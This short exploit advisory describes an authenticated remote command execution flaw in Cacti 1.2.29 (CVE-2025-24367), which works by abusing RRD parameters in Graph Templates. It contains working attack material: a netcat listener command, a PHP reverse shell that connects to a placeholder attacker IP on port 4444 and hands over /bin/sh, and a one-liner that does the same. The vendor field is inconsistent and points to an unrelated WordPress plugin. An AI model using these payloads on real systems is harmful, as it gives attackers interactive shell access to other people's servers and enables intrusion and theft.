| # Title : Cacti 1.2.29 Authenticated Graph Template RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://wordpress.org/plugins/document-library-lite/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211135/ & CVE-2025-24367
[+] Summary : Authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP files, then trigger execution
leading to Remote Command Execution.
[+] POC : * Usage: Save this file as: exploit.php
Run: php exploit.php
Run the listener on your machine: nc -nlvp 4444
Upload the Reverse Shell content to your server (shell.txt):
<?php
$sock=fsockopen("YOUR_IP",4444);
$proc=proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
Or One-liner:
php -r '$s=fsockopen("YOUR_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
